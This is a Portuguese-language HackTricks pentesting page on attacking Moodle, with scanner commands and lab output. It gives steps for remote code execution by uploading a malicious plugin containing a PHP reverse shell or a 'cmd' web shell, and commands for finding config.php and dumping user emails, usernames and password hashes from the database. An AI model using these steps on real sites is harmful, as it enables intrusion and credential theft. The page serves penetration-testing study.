# Moodle
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## Scans Automáticos
### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com//
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
```
### moodlescan
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com//
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
```
### CMSMap
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/
```
### CVEs
Eu descobri que as ferramentas automáticas são bastante **inúteis para encontrar vulnerabilidades que afetam a versão do moodle**. Você pode **verificar** por elas em [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
## **RCE**
Você precisa ter o papel de **gerente** e você **pode instalar plugins** dentro da aba **"Administração do site"**\*\*:\*\*
.png>)
Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Então, você pode **instalar o seguinte plugin** que contém o clássico pentest-monkey php r**ev shell** (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_)
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
Ou você poderia usar o plugin de [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) para obter um shell PHP regular com o parâmetro "cmd".
Para acessar o plugin malicioso, você precisa acessar:
```bash
http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id
```
## POST
### Encontrar credenciais do banco de dados
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### Extrair Credenciais do banco de dados
```bash
/usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit"
```
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Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
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[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
[**HackTricks Training GCP Red Team Expert (GRTE)**